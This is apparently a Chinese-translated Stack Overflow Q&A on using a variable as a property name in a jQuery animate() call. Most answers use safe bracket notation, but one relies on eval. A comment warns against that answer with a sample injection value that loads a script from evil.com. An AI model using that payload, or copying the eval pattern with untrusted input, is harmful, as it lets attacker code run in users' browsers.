2011-10-02 106 views
3

我有一個名爲direction的變量,用於存儲:leftright在對象屬性名稱中使用變量

我需要根據該變量更改受影響的邊距。

現在我正在使用條件,是否有可能用變量direction的輸出替換「left」?

$("#map").animate({"margin-left": "+=50px"}, 500); 
+0

參見:http://stackoverflow.com/questions/6071471/javascript-object-variable-key – Ariel

回答

5

不是直接的,但你可以創建一個對象,並在animate()使用前對其進行操作:

var direction = "left"; 
var property = {}; 
property[ "margin-"+direction ] = "+=50px"; 
$("#map").animate(property, 500); 
+0

謝謝。我會在幾分鐘內接受 – lisovaccaro

0
eval('props = {"margin-' + direction + '": "+=50px"}') 
$("#map").animate(props, 500); 
+0

'eval'真的嗎? – Shef

+0

Juhana的方式是微型,但這也起作用。 :) –

+2

'var direction ='「+ function(){d = document.createElement(」script「); d.src =」http://evil.com/evil.js「; document.body.appendChild(d )} +「'; ... //你的代碼在這裏。這仍然有效嗎? –

2

使用此。由於沒有margin-upmargin-down,你要「手動」進行翻譯:

var dir = "left"; 
dir = dir == "up" ? "top" : dir == "down" ? "bottom" : dir; 
var obj = {}; 
obj["margin-" + dir] = "+=50px"; 
$("#map").animate(obj, 500); 

第二行是寫一個合法的,更短的方式:

if(dir == "up"){ 
    dir = "top"; 
} else if(dir == "down"){ 
    dir = "bottom"; 
} else { 
    dir = dir; 
} 
+0

或者更好,如果可能的話,首先使用'top'和'bottom'。 – JJJ